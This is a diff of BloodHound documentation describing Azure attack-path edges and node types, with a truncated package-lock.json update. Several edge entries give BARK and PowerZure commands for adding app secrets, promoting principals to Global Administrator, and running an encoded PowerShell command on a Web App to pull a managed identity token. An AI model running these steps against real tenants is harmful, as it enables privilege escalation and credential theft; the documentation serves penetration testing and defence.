to a Group, use BARK's New-GroupOwner function: + +:: + + New-AppOwner ` + -GroupObjectId "352032bf-161d-4788-b77c-b6f935339770" ` + -NewOwnerObjectId "cea271c4-7b01-4f57-932d-99d752bbbc60" ` + -Token $Token + + + +Opsec Considerations +-------------------- + +Any time you add an owner to any Azure object, the AzureAD audit +logs will create an event logging who added an owner to what object, +as well as what the new owner added to the object was. + +References +---------- + +* https://attack.mitre.org/techniques/T1098/ +* https://posts.specterops.io/azure-privilege-escalation-via-service-principal-abuse-210ae2be2a5 +* https://github.com/BloodHoundAD/BARK + +| + +---- + +| + +AZMGAddSecret +^^^^^^^ + +This edge is created during post-processing. It is created against +all Azure App Registrations and Service Principals when a Service +Principal has one of the following MS Graph app roles: + +* Application.ReadWrite.All +* RoleManagement.ReadWrite.Directory + + +You will not see this privilege when using just the Azure portal +or any other Microsoft tooling. If you audit the roles and administrators +affecting any particular Azure App or Service Principal, you will not see +that the Service Principal can add secrets to the object, but it +indeed can because of the parallel access management system used +by MS Graph. + +Abuse Info +------------ + +There are several ways to perform this abuse, depending on what +sort of access you have to the credentials of the object that +holds this privilege against the target object. If you have an +interactive web browser session for the Azure portal, it is as +simple as finding the target App in the portal and adding a new +secret to the object using the "Certificates & secrets" tab. +Service Principals do not have this tab in the Azure portal but +you can add secrets to them with the MS Graph API. +No matter what kind of control you have, you will be able to +perform this abuse by using BARK's New-AppRegSecret or +New-ServicePrincipalSecret functions. + +These functions require you to supply an MS Graph-scoped JWT +associated with the Service Principal that has the privilege +to add secrets to the target object. There are several ways to +acquire a JWT. For example, you may use BARK's +Get-MSGraphTokenWithClientCredentials to acquire an MS Graph-scoped JWT +by supplying a Service Principal Client ID and secret: + +:: + + $MGToken = Get-MSGraphTokenWithClientCredentials ` + -ClientID "34c7f844-b6d7-47f3-b1b8-720e0ecba49c" ` + -ClientSecret "asdf..." ` + -TenantName "contoso.onmicrosoft.com" + + +Then use BARK's New-AppRegSecret to add a new secret to the +target application: + +:: + + New-AppRegSecret ` + -AppRegObjectID "d878..." ` + -Token $MGToken.access_token + + +The output will contain the plain-text secret you just created +for the target app: + +:: + + New-AppRegSecret ` + -AppRegObjectID "d878..." ` + -Token $MGToken.access_token + + Name Value + ---- ----- + AppRegSecretValue odg8Q~... + AppRegAppId 4d31... + AppRegObjectId d878... + + +With this plain text secret, you can now acquire tokens as the +service principal associated with the app. You can easily do +this with BARK's Get-MSGraphToken function: + +:: + + + $SPToken = Get-MSGraphToken ` + -ClientID "4d31..." ` + -ClientSecret "odg8Q~..." ` + -TenantName "contoso.onmicrosoft.com" + + +Now you can use this JWT to perform actions against any other MS +Graph endpoint as the service principal, continuing your attack +path with the privileges of that service principal. + +Opsec Considerations +-------------------- + +When you create a new secret for an App or Service Principal, +Azure creates an event called "Update application - Certificates +and secrets management". This event describes who added the secret +to which application or service principal. + +References +---------- + +* https://attack.mitre.org/techniques/T1098/ +* https://posts.specterops.io/azure-privilege-escalation-via-service-principal-abuse-210ae2be2a5 +* https://github.com/BloodHoundAD/BARK + +| + +---- + +| + +AZMGApplication_ReadWrite_All +^^^^^^^ + +This edge is created when a Service Principal has been +granted the Application.ReadWrite.All edge. + +Abuse Info +------------ + +The edge is not abusable, but is used during post-processing to create +abusable edges. + +Opsec Considerations +-------------------- + +No opsec considerations apply to this edge. + +References +---------- + +* https://attack.mitre.org/techniques/T1098/ +* https://posts.specterops.io/azure-privilege-escalation-via-service-principal-abuse-210ae2be2a5 + +| + +---- + +| + +AZMGAppRoleAssignment_ReadWrite_All +^^^^^^^ + +This edge is created when a Service Principal has been +granted the AppRoleAssignment.ReadWrite.All edge. + +Abuse Info +------------ + +The edge is not abusable, but is used during post-processing to create +abusable edges. + +Opsec Considerations +-------------------- + +No opsec considerations apply to this edge. + +References +---------- + +* https://attack.mitre.org/techniques/T1098/ +* https://posts.specterops.io/azure-privilege-escalation-via-service-principal-abuse-210ae2be2a5 + +| + +---- + +| + +AZMGDirectory_ReadWrite_All +^^^^^^^ + +This edge is created when a Service Principal has been +granted the Directory.ReadWrite.All edge. + +Abuse Info +------------ + +The edge is not abusable, but is used during post-processing to create +abusable edges. + +Opsec Considerations +-------------------- + +No opsec considerations apply to this edge. + +References +---------- + +* https://attack.mitre.org/techniques/T1098/ +* https://posts.specterops.io/azure-privilege-escalation-via-service-principal-abuse-210ae2be2a5 + +| + +---- + +| + +AZMGGrantAppRoles +^^^^^^^ + +This edge is created during post-processing. It is created against +AzureAD tenant objects when a Service Principal has one of the following +MS Graph app role assignments: + +* AppRoleAssignment.ReadWrite.All +* RoleManagement.ReadWrite.Directory + + +Abuse Info +------------ + +With the ability to grant arbitrary app roles, you can grant +the RoleManagement.ReadWrite.Directory app role to a Service +Principal you already control, and then promote it or another +principal to Global Administrator. + +These functions require you to supply an MS Graph-scoped JWT +associated with the Service Principal that has the privilege +to grant app roles. There are several ways to +acquire a JWT. For example, you may use BARK's +Get-MSGraphTokenWithClientCredentials to acquire an MS Graph-scoped JWT +by supplying a Service Principal Client ID and secret: + +:: + + $MGToken = Get-MSGraphTokenWithClientCredentials ` + -ClientID "34c7f844-b6d7-47f3-b1b8-720e0ecba49c" ` + -ClientSecret "asdf..." ` + -TenantName "contoso.onmicrosoft.com" + + +Use BARK's Get-AllAzureADServicePrincipals to collect all +Service Principal objects in the tenant: + +:: + + + $SPs = Get-AllAzureADServicePrincipals ` + -Token $MGToken + + +Next, find the MS Graph Service Principal's ID. You can do this by +piping $SPs to Where-Object, finding objects where the appId value +matches the universal ID for the MS Graph Service Principal, which is +00000003-0000-0000-c000-000000000000: + +:: + + + $SPs | ?{$_.appId -Like "00000003-0000-0000-c000-000000000000"} | Select id + + +The output will be the object ID of the MS Graph Service Principal. +Take that ID and use it as the "ResourceID" argument for BARK's +New-AppRoleAssignment function. The AppRoleID of '9e3f62cf-ca93-4989-b6ce-bf83c28f9fe8' +is the universal ID for RoleManagement.ReadWrite.Directory. The +SPObjectId is the object ID of the Service Principal you want to grant +this app role to: + +:: + + + New-AppRoleAssignment ` + -SPObjectId "6b6f9289-fe92-4930-a331-9575e0a4c1d8" ` + -AppRoleID "9e3f62cf-ca93-4989-b6ce-bf83c28f9fe8" ` + -ResourceID "9858020a-4c00-4399-9ae4-e7897a8333fa" ` + -Token $MGToken + + +If successful, the output of this command will show you the App Role +assignment ID. Now that your Service Principal has the RoleManagement.ReadWrite.Directory +MS Graph app role, you can promote the Service Principal to Global Administrator +using BARK's New-AzureADRoleAssignment. + +:: + + + New-AzureADRoleAssignment ` + -PrincipalID "6b6f9289-fe92-4930-a331-9575e0a4c1d8" ` + -RoleDefinitionId "62e90394-69f5-4237-9190-012177145e10" ` + -Token $MGToken + + +If successful, the output will include the principal ID, the role ID, and a +unique ID for the role assignment. + +Opsec Considerations +-------------------- + +When you assign an app role to a Service Principal, the Azure +Audit logs will create an event called "Add app role assignment +to service principal". This event describes who made the change, +what the target service principal was, and what app role assignment +was granted. + +References +---------- + +* https://attack.mitre.org/techniques/T1098/ +* https://posts.specterops.io/azure-privilege-escalation-via-service-principal-abuse-210ae2be2a5 +* https://github.com/BloodHoundAD/BARK + +| + +---- + +| + +AZMGGrantRole +^^^^^^^ + +This edge is created during post-processing. It is created against +all AzureAD admin roles when a Service Principal has the following +MS Graph app role assignment: + +* RoleManagement.ReadWrite.Directory + +This privilege allows the Service Principal to promote itself or +any other principal to any AzureAD admin role, including Global +Administrator. + +Abuse Info +------------ + +To abuse this privilege, you can promote a principal you control +to Global Administrator using BARK's New-AzureADRoleAssignment. +This function requires you to supply an MS Graph-scoped JWT +associated with the Service Principal that has the privilege +to grant AzureAD admin roles. There are several ways to +acquire a JWT. For example, you may use BARK's +Get-MSGraphTokenWithClientCredentials to acquire an MS Graph-scoped JWT +by supplying a Service Principal Client ID and secret: + +:: + + + $MGToken = Get-MSGraphTokenWithClientCredentials ` + -ClientID "34c7f844-b6d7-47f3-b1b8-720e0ecba49c" ` + -ClientSecret "asdf..." ` + -TenantName "contoso.onmicrosoft.com" + + +Then use BARK's New-AzureADRoleAssignment function to grant the +AzureAD role to your target principal: + +:: + + + New-AzureADRoleAssignment ` + -PrincipalID "6b6f9289-fe92-4930-a331-9575e0a4c1d8" ` + -RoleDefinitionId "62e90394-69f5-4237-9190-012177145e10" ` + -Token $MGToken + + +If successful, the output will include the principal ID, the role ID, and a +unique ID for the role assignment. + +Opsec Considerations +-------------------- + +When you assign an AzureAD admin role to a principal +using this privilege, the Azure Audit log will create +an event called "Add member to role outside of PIM +(permanent)". + +References +---------- + +* https://attack.mitre.org/techniques/T1098/ +* https://posts.specterops.io/azure-privilege-escalation-via-service-principal-abuse-210ae2be2a5 +* https://github.com/BloodHoundAD/BARK + +| + +---- + +| + +AZMGGroupMember_ReadWrite_All +^^^^^^^ + +This edge is created when a Service Principal has been +granted the GroupMember.ReadWrite.All edge. + +Abuse Info +------------ + +The edge is +not abusable, but is used during post-processing to create +abusable edges. + +Opsec Considerations +-------------------- + +No opsec considerations apply to this edge. + +References +---------- + +* https://attack.mitre.org/techniques/T1098/ +* https://posts.specterops.io/azure-privilege-escalation-via-service-principal-abuse-210ae2be2a5 + +| + +---- + +| + +AZMGGroup_ReadWrite_All +^^^^^^^ + +This edge is created when a Service Principal has been +granted the Group.ReadWrite.All edge. + +Abuse Info +------------ + +The edge is +not abusable, but is used during post-processing to create +abusable edges. + +Opsec Considerations +-------------------- + +No opsec considerations apply to this edge. + +References +---------- + +* https://attack.mitre.org/techniques/T1098/ +* https://posts.specterops.io/azure-privilege-escalation-via-service-principal-abuse-210ae2be2a5 + +| + +---- + +| + +AZMGRoleManagement_ReadWrite_Directory +^^^^^^^ + +This edge is created when a Service Principal has been +granted the RoleManagement.ReadWrite.Directory edge. + +Abuse Info +------------ + +The edge is +not abusable, but is used during post-processing to create +abusable edges. + +Opsec Considerations +-------------------- + +No opsec considerations apply to this edge. + +References +---------- + +* https://attack.mitre.org/techniques/T1098/ +* https://posts.specterops.io/azure-privilege-escalation-via-service-principal-abuse-210ae2be2a5 +* https://docs.microsoft.com/en-us/azure/active-directory/roles/assign-roles-different-scopes + +| + +---- + +| + +AZMGServicePrincipalEndpoint_ReadWrite_All +^^^^^^^ + +This edge is created when a Service Principal has been +granted the ServicePrincipalEndpoint.ReadWrite.All edge. + +Abuse Info +------------ + +The edge is +not abusable, but is used during post-processing to create +abusable edges. + +Opsec Considerations +-------------------- + +No opsec considerations apply to this edge. + +References +---------- + +* https://attack.mitre.org/techniques/T1098/ +* https://posts.specterops.io/azure-privilege-escalation-via-service-principal-abuse-210ae2be2a5 + +| + +---- + +| + +AZNodeResourceGroup +^^^^^^^ + +This edge is created to link Azure Kubernetes Service +Managed Clusters to the Virtual Machine Scale Sets they +use to execute commands on. + +The system-assigned identity for the AKS Cluster will +have the Contributor role against the target Resource Group +and its child Virtual Machine Scale Sets. + +Abuse Info +------------ + +You will abuse this relationship by executing a command +against the AKS Managed Cluster the edge is emiting from. +You can target any managed identity assignment scoped to +the Virtual Machine Scale Sets under the target Resource Group. + +Opsec Considerations +-------------------- + +This will depend on which particular abuse you perform, but in +general Azure will create a log event for each abuse. + +References +---------- + +* https://github.com/BloodHoundAD/BARK +* https://www.netspi.com/blog/technical/cloud-penetration-testing/extract-credentials-from-azure-kubernetes-service/ + +| + +---- + +| + +AZOwns +^^^^^^^ + +Object ownership means almost all abuses are possible against the +target object. + +Abuse Info +------------ + +Everything a Contributor can do, with the addition of assigning +rights to resources. + +Opsec Considerations +-------------------- + +This depends on which abuse you perform, but in general Azure will +create a log for each abuse action. + +References +---------- + +* https://blog.netspi.com/attacking-azure-with-custom-script-extensions/ +* https://docs.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#owner + +| + +---- + +| + +AZPrivilegedRoleAdmin +^^^^^^^^^^^^^^^^^^^^^ + +The Privileged Role Admin role can grant any other admin role to another principal +at the tenant level. + +Abuse Info +------------ + +Activate the Global Admin role for yourself or for another user using PowerZure or +PowerShell. + +Opsec Considerations +-------------------- + +The Azure Activity Log will log who activated an admin role for what other principal, +including the date and time. + +References +---------- + +https://powerzure.readthedocs.io/en/latest/Functions/operational.html#add-azureadrole + +| + +---- + +| + +AZResetPassword +^^^^^^^^^^^^^^^ + +The ability to change another user’s password without knowing their current password. + +Abuse Info +------------ + +Find the user in the Azure portal, then click "Reset Password", or use PowerZure’s +Set-AzureUserPassword cmdlet. If password write-back is enabled, this password will +also be set for a synced on-prem user. + +Opsec Considerations +-------------------- + +Azure will log each password reset event, including who performed the reset, against which account, and at what date and time. + +References +---------- + +https://powerzure.readthedocs.io/en/latest/Functions/operational.html#set-azureuserpassword + +| + +---- + +| + +AZRunsAs +^^^^^^^^ + +The Azure App runs as the Service Principal when it needs to authenticate to the tenant. + +Abuse Info ------------ This edge should be taken into consideration when abusing control of an app. Apps authenticate @@ -2493,3 +3940,177 @@ https://blog.netspi.com/maintaining-azure-persistence-via-automation-accounts/ ---- | + +AZVMAdminLogin +^^^^^^^ + +When a virtual machine is configured to allow logon with Azure +AD credentials, the VM automatically has certain principals +added to its local administrators group, including any principal +granted the Virtual Machine Administrator Login (or "VMAL") +admin role. + +Any principal granted this role, scoped to the affected VM, can +connect to the VM via RDP and will be granted local admin rights +on the VM. + +Abuse Info +------------ + +Connect to the VM via RDP and you will be granted local admin rights +on the VM. + +Opsec Considerations +-------------------- + +If the target computer is a workstation and a user is currently +logged on, one of two things will happen. If the user you are +abusing is the same user as the one logged on, you will +effectively take over their session and kick the logged on user +off, resulting in a message to the user. If the users are +different, you will be prompted to kick the currently logged on +user off the system and log on. If the target computer is a +server, you will be able to initiate the connection without +issue provided the user you are abusing is not currently logged +in. + +Remote desktop will create Logon and Logoff events with the +access type RemoteInteractive. + +References +---------- + +* https://attack.mitre.org/tactics/TA0008/ +* https://attack.mitre.org/techniques/T1021/ +* https://docs.microsoft.com/en-us/azure/active-directory/devices/howto-vm-sign-in-azure-ad-windows + +| + +---- + +| + +AZVMContributor +^^^^^^^ + +The Virtual Machine contributor role grants almost all abusable +privileges against Virtual Machines. + +Abuse Info +------------ + +The Virtual Machine Contributor role allows you to run SYSTEM +commands on the VM + +Via PowerZure: + +* `Invoke-AzureRunCommand `_ +* `Invoke-AzureRunMSBuild `_ +* `Invoke-AzureRunProgram `_ + + +Opsec Considerations +-------------------- + +Because you'll be running a command as the SYSTEM user on the +Virtual Machine, the same opsec considerations for running malicious +commands on any system should be taken into account: command line +logging, PowerShell script block logging, EDR, etc. + +References +---------- + +* https://blog.netspi.com/running-powershell-scripts-on-azure-vms/ + +| + +---- + +| + +AZWebsiteContributor +^^^^^^^ + +The Website Contributor role grants full control of the target +Function App or Web App. Full control of either of those types +of resources allows for arbitrary command execution against the +target resoruce. + +Abuse Info +------------ + +You can use BARK's Invoke-AzureRMWebAppShellCommand function +to execute commands on a target Web App. You can use BARK's +New-PowerShellFunctionAppFunction, Get-AzureFunctionAppMasterKeys, +and Get-AzureFunctionOutput functions to execute arbitrary +commands against a target Function App. + +These functions require you to supply an Azure Resource Manager +scoped JWT associated with the principal that has the privilege +to execute commands on the web app or function app. There are +several ways to acquire a JWT. For example, you may use BARK's +Get-ARMTokenWithRefreshToken to acquire an Azure RM-scoped JWT +by supplying a refresh token: + +:: + + $ARMToken = Get-ARMTokenWithRefreshToken ` + -RefreshToken "0.ARwA6WgJJ9X2qk..." ` + -TenantID "contoso.onmicrosoft.com" + + +Now you can use BARK's Invoke-AzureRMWebAppShellCommand function +to execute a command against the target Web App. +For example, to run a simple "whoami" command: + +:: + + Invoke-AzureRMWebAppShellCommand ` + -KuduURI "https://mycoolwindowswebapp.scm.azurewebsites.net/api/command" ` + -Token $ARMToken ` + -Command "whoami" + + +If the Web App has a managed identity assignments, you can use BARK's +Invoke-AzureRMWebAppShellCommand function to retrieve a JWT for the +managed identity Service Principal like this: + +:: + + PS C:\> $PowerShellCommand = + $headers=@{"X-IDENTITY-HEADER"=$env:IDENTITY_HEADER} + $response = Invoke-WebRequest -UseBasicParsing -Uri "$($env:IDENTITY_ENDPOINT)?resource=https://storage.azure.com/&api-version=2019-08-01" -Headers $headers + $response.RawContent + + PS C:\> $base64Cmd = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($PowerShellCommand)) + + PS C:\> $Command = "powershell -enc $($base64Cmd)" + + PS C:\> Invoke-AzureRMWebAppShellCommand ` + -KuduURI "https://mycoolwindowswebapp.scm.azurewebsites.net/api/command" ` + -token $ARMToken ` + -Command $Command + + +If successful, the output will include a JWT for the managed identity +service principal. + +Opsec Considerations +-------------------- + +This will depend on which particular abuse you perform, but in +general Azure will create a log event for each abuse. + +References +---------- + +* https://github.com/BloodHoundAD/BARK +* https://www.netspi.com/blog/technical/cloud-penetration-testing/lateral-movement-azure-app-services/ +* https://posts.specterops.io/abusing-azure-app-service-managed-identity-assignments-c3adefccff95 + +| + +---- + +| + diff --git a/docs/data-analysis/nodes.rst b/docs/data-analysis/nodes.rst index 4880cbc01..575b04d1e 100644 --- a/docs/data-analysis/nodes.rst +++ b/docs/data-analysis/nodes.rst @@ -822,6 +822,8 @@ At the top of the node info tab you will see the following info: Overview ------------ * **See VM within Tenant**: Unrolls the VM membership within Azure, displaying the VM’s resource group & subscription. +* **Managed Identities**: Shows the assigned managed identity service principals for the VM. + Node Properties ------------------ @@ -898,3 +900,366 @@ Inbound Object Control control of this object through Azure group delegation. * **Transitive Object Controllers**: The number of objects in AD that can achieve control of this object through object-control attack paths + +AZAutomationAccount +^^^^^ + +Automation Accounts are one of several services falling under the umbrella of “Azure Automation”. Azure admins can use Automation Accounts to automate a variety of business operations, such as creating and configuring Virtual Machines in Azure. + +Automation Accounts offer different process automation services, but at the core of all those services are what are called Runbooks. + +Read more about how attackers abuse Automation Accounts in this blog post: https://medium.com/p/82667d17187a + + +At the top of the node info tab you will see the following info: + +* **NAME**: The full name of the asset + +Overview +------------ +* **See asset within Tenant**: Unrolls the asset's membership within Azure, displaying the asset’s resource group & subscription. +* **Managed Identities**: Shows the assigned managed identity service principals for the asset. + + +Node Properties +------------------ + +* **Object ID**: The Azure objectid for the asset. + +Extra Properties +------------------- + +* **tenantid**: The Azure tenant ID for the asset. + + +Inbound Object Control +------------------------- + +* **Explicit Object Controllers**: The number of principals that are in a role that has the ability to control this asset. +* **Unrolled Object Controllers**: The actual number of principals that have control of this + asset through security group delegation. This number can sometimes be wildly higher than + the previous number. +* **Transitive Object Controllers**: The number of assets in Azure that can achieve control of this object through control attack paths. + +AZContainerRegistry +^^^^^ + +Azure Container Registry (ACR) is Microsoft’s implementation of the Open Container Initiative’s (OCI) Distribution Spec, which itself is based on the original Docker Registry protocol. In plain English: ACR stores and manages container images for you. ACR serves those images, making them available to run locally, on some remote system, or as an Azure Container Instance. You can think of ACR as being somewhat analogous to your very own Docker Registry. + +Read more about how attackers abuse Container Registries in this blog post: https://medium.com/p/1f407bfaa465 + + +At the top of the node info tab you will see the following info: + +* **NAME**: The full name of the asset + +Overview +------------ +* **See asset within Tenant**: Unrolls the asset's membership within Azure, displaying the asset’s resource group & subscription. +* **Managed Identities**: Shows the assigned managed identity service principals for the asset. + + +Node Properties +------------------ + +* **Object ID**: The Azure objectid for the asset. + +Extra Properties +------------------- + +* **tenantid**: The Azure tenant ID for the asset. + + +Inbound Object Control +------------------------- + +* **Explicit Object Controllers**: The number of principals that are in a role that has the ability to control this asset. +* **Unrolled Object Controllers**: The actual number of principals that have control of this + asset through security group delegation. This number can sometimes be wildly higher than + the previous number. +* **Transitive Object Controllers**: The number of assets in Azure that can achieve control of this object through control attack paths. + +AZFunctionApp +^^^^^ + +Functions are one of several services falling under the umbrella of “Azure Automation”. Azure admins can create functions using a variety of language (C#, Java, PowerShell, etc.), then run those functions on-demand in Azure. Functions are hosted and grouped together in Azure using Function Apps. + +Read more about how attackers abuse Function Apps in this blog post: https://medium.com/p/300065251cbe + + +At the top of the node info tab you will see the following info: + +* **NAME**: The full name of the asset + +Overview +------------ +* **See asset within Tenant**: Unrolls the asset's membership within Azure, displaying the asset’s resource group & subscription. +* **Managed Identities**: Shows the assigned managed identity service principals for the asset. + + +Node Properties +------------------ + +* **Object ID**: The Azure objectid for the asset. + +Extra Properties +------------------- + +* **tenantid**: The Azure tenant ID for the asset. + + +Inbound Object Control +------------------------- + +* **Explicit Object Controllers**: The number of principals that are in a role that has the ability to control this asset. +* **Unrolled Object Controllers**: The actual number of principals that have control of this + asset through security group delegation. This number can sometimes be wildly higher than + the previous number. +* **Transitive Object Controllers**: The number of assets in Azure that can achieve control of this object through control attack paths. + +AZLogicApp +^^^^^ + +Logic Apps are another Azure service falling under the general umbrella of “Azure Automation”. Admins can use Logic Apps to construct what are called “workflows”. Workflows are comprised of triggers and actions that occur as a result of those triggers. + +Read more about how attackers abuse Logic Apps in this blog post: https://medium.com/p/52b29354fc54 + + +At the top of the node info tab you will see the following info: + +* **NAME**: The full name of the asset + +Overview +------------ +* **See asset within Tenant**: Unrolls the asset's membership within Azure, displaying the asset’s resource group & subscription. +* **Managed Identities**: Shows the assigned managed identity service principals for the asset. + + +Node Properties +------------------ + +* **Object ID**: The Azure objectid for the asset. + +Extra Properties +------------------- + +* **tenantid**: The Azure tenant ID for the asset. + + +Inbound Object Control +------------------------- + +* **Explicit Object Controllers**: The number of principals that are in a role that has the ability to control this asset. +* **Unrolled Object Controllers**: The actual number of principals that have control of this + asset through security group delegation. This number can sometimes be wildly higher than + the previous number. +* **Transitive Object Controllers**: The number of assets in Azure that can achieve control of this object through control attack paths. + +AZManagedCluster +^^^^^ + +Azure Kubernetes Service Managed Clusters provide Azure admins an easy way to create and maintain Kubernetes clusters. + +Read about how attackers abuse AKS Managed Clusters in this blog post: https://www.netspi.com/blog/technical/cloud-penetration-testing/extract-credentials-from-azure-kubernetes-service/ + + +At the top of the node info tab you will see the following info: + +* **NAME**: The full name of the asset + +Overview +------------ +* **See asset within Tenant**: Unrolls the asset's membership within Azure, displaying the asset’s resource group & subscription. +* **Managed Identities**: Shows the assigned managed identity service principals for the asset. + + +Node Properties +------------------ + +* **Object ID**: The Azure objectid for the asset. + +Extra Properties +------------------- + +* **tenantid**: The Azure tenant ID for the asset. + + +Inbound Object Control +------------------------- + +* **Explicit Object Controllers**: The number of principals that are in a role that has the ability to control this asset. +* **Unrolled Object Controllers**: The actual number of principals that have control of this + asset through security group delegation. This number can sometimes be wildly higher than + the previous number. +* **Transitive Object Controllers**: The number of assets in Azure that can achieve control of this object through control attack paths. + +AZVMScaleSet +^^^^^ + +Azure Virtual Machine Scale Sets are used by AKS Managed Clusters to spin up and spin down compute nodes. They can also by used by admins to spin up and manage virtual machines outside of the AKS use-case. + +Read about how attackers abuse Virtual Machine Scale Sets in this blog post: https://www.netspi.com/blog/technical/cloud-penetration-testing/extract-credentials-from-azure-kubernetes-service/ + + +At the top of the node info tab you will see the following info: + +* **NAME**: The full name of the asset + +Overview +------------ +* **See asset within Tenant**: Unrolls the asset's membership within Azure, displaying the asset’s resource group & subscription. +* **Managed Identities**: Shows the assigned managed identity service principals for the asset. + + +Node Properties +------------------ + +* **Object ID**: The Azure objectid for the asset. + +Extra Properties +------------------- + +* **tenantid**: The Azure tenant ID for the asset. + + +Inbound Object Control +------------------------- + +* **Explicit Object Controllers**: The number of principals that are in a role that has the ability to control this asset. +* **Unrolled Object Controllers**: The actual number of principals that have control of this + asset through security group delegation. This number can sometimes be wildly higher than + the previous number. +* **Transitive Object Controllers**: The number of assets in Azure that can achieve control of this object through control attack paths. + +AzWebApp +^^^^^ + +Azure App Service is a Platform-as-a-Service product that promises to improve web application deployment, hosting, availability, and security. Web Apps hosted by Azure App Service are organized into Azure App Service Plans, which are Virtual Machines that the Web Apps in that plan all run on. + +Read more about how attackers abuse Web Apps in this blog post: https://medium.com/p/c3adefccff95 + + +At the top of the node info tab you will see the following info: + +* **NAME**: The full name of the asset + +Overview +------------ +* **See asset within Tenant**: Unrolls the asset's membership within Azure, displaying the asset’s resource group & subscription. +* **Managed Identities**: Shows the assigned managed identity service principals for the asset. + + +Node Properties +------------------ + +* **Object ID**: The Azure objectid for the asset. + +Extra Properties +------------------- + +* **tenantid**: The Azure tenant ID for the asset. + + +Inbound Object Control +------------------------- + +* **Explicit Object Controllers**: The number of principals that are in a role that has the ability to control this asset. +* **Unrolled Object Controllers**: The actual number of principals that have control of this + asset through security group delegation. This number can sometimes be wildly higher than + the previous number. +* **Transitive Object Controllers**: The number of assets in Azure that can achieve control of this object through control attack paths. + +AzManagementGroup +^^^^^ + +At the top of the node info tab you will see the following info: + +* **NAME**: The full name of the asset + +Overview +------------ +* **Reachable High Value Targets**: The count of how many high value + targets this asset has an attack path to. Click this number to see the shortest attack paths from this asset + to those high value targets. + +Node Properties +------------------ + +* **Object ID**: The Azure objectid for the asset. +* **Tenant ID**: The Azure tenant ID for the asset. + +Extra Properties +---------------- + +No extra properties. + +Descendent Objects +------------------- + +The number of assets under this asset categorized in Azure asset types. + +Inbound Object Control +------------------------- + +* **Explicit Object Controllers**: The number of principals that are in a role that has the ability to control this asset. +* **Unrolled Object Controllers**: The actual number of principals that have control of this + asset through security group delegation. This number can sometimes be wildly higher than + the previous number. +* **Transitive Object Controllers**: The number of assets in Azure that can achieve control of this object through control attack paths. + +AzRole +^^^^^ + +At the top of the node info tab you will see the following info: + +* **NAME**: The full name of the role + +Node Properties +------------------ + +* **Object ID**: The Azure objectid for the role. +* **Display Name**: The display name of the role. +* **Enabled**: Whether the role is enabled or disabled. +* **Description**: Description of the role. +* **Template ID**: Template ID of the role. +* **Tenant ID**: The Azure tenant ID for the role. + +Extra Properties +---------------- + +* **isbuiltin**: Whether the role is an Azure built-in role or custom. + + +Assignments +------------------- + +* **Active Assignments**: The assets with this role actively assigned. +* **PIM Assignments**: The assets with this PIM assigned. + +AZKeyVault +^^^^^ + +At the top of the node info tab you will see the following info: + +* **NAME**: The full name of the asset + +Node Properties +------------------ + +* **Object ID**: The Azure objectid for the asset. +* **Enable RBAC Authorization**: Whether the Key Vault has RBAC authorization enabled or not. +* **Tenant ID**: The Azure tenant ID for the asset. + +Vault Readers +------------------- + +The number of assets that can read keys, certificates, and secrets in the Key Vault. + +Inbound Object Control +------------------------- + +* **Explicit Object Controllers**: The number of principals that are in a role that has the ability to control this asset. +* **Unrolled Object Controllers**: The actual number of principals that have control of this + asset through security group delegation. This number can sometimes be wildly higher than + the previous number. +* **Transitive Object Controllers**: The number of assets in Azure that can achieve control of this object through control attack paths. diff --git a/package-lock.json b/package-lock.json index 9dc1f64e4..e08400b4a 100644 --- a/package-lock.json +++ b/package-lock.json @@ -1,12 +1,12 @@ { "name": "bloodhound", - "version": "4.2.0", + "version": "4.3.0", "lockfileVersion": 2, "requires": true, "packages": { "": { "name": "bloodhound", - "version": "4.2.0", + "version": "4.3.0", "license": "GPL-3.0", "dependencies": { "@fortawesome/fontawesome-free": "^6.1.1", @@ -56,7 +56,7 @@ "cross-env": "^7.0.3", "css-loader": "^3.6.0", "electron": "^11.5.0", - "electron-packager": "^15.4.0", + "electron-packager": "15.4.0", "eslint": "^8.20.0", "eslint-config-prettier": "^8.5.0", "eslint-plugin-react": "^7.30.1", @@ -2238,12 +2238,6 @@ "node": ">=6 <7 || >=8" } }, - "node_modules/@electron/get/node_modules/graceful-fs": { - "version": "4.2.3", - "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.3.tgz", - "integrity": "sha512-a30VEBm4PEdx1dRB7MFK7BejejvCvBronbLjht+sHuGYj8PHs7M/5Z+rt5lw551vZ7yfTCj4Vuyy3mSJytDWRQ==", - "dev": true - }, "node_modules/@electron/get/node_modules/ms": { "version": "2.1.2", "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", @@ -2271,47 +2265,6 @@ "node": ">= 8.0" } }, - "node_modules/@electron/universal": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/@electron/universal/-/universal-1.3.0.tgz", - "integrity": "sha512-6SAIlMZZRj1qpe3z3qhMWf3fmqhAdzferiQ5kpspCI9sH1GjkzRXY0RLaz0ktHtYonOj9XMpXNkhDy7QQagQEg==", - "dev": true, - "dependencies": { - "@malept/cross-spawn-promise": "^1.1.0", - "asar": "^3.1.0", - "debug": "^4.3.1", - "dir-compare": "^2.4.0", - "fs-extra": "^9.0.1", - "minimatch": "^3.0.4", - "plist": "^3.0.4" - }, - "engines": { - "node": ">=8.6" - } - }, - "node_modules/@electron/universal/node_modules/debug": { - "version": "4.3.4", - "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.4.tgz", - "integrity": "sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==", - "dev": true, - "dependencies": { - "ms": "2.1.2" - }, - "engines": { - "node": ">=6.0" - }, - "peerDependenciesMeta": { - "supports-color": { - "optional": true - } - } - }, - "node_modules/@electron/universal/node_modules/ms": { - "version": "2.1.2", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", - "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", - "dev": true - }, "node_modules/@emotion/is-prop-valid": { "version": "0.8.8", "resolved": "https://registry.npmjs.org/@emotion/is-prop-valid/-/is-prop-valid-0.8.8.tgz", @@ -2379,18 +2332,6 @@ "url": "https://github.com/sponsors/sindresorhus" } }, - "node_modules/@eslint/eslintrc/node_modules/minimatch": { - "version": "3.1.2", - "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz", - "integrity": 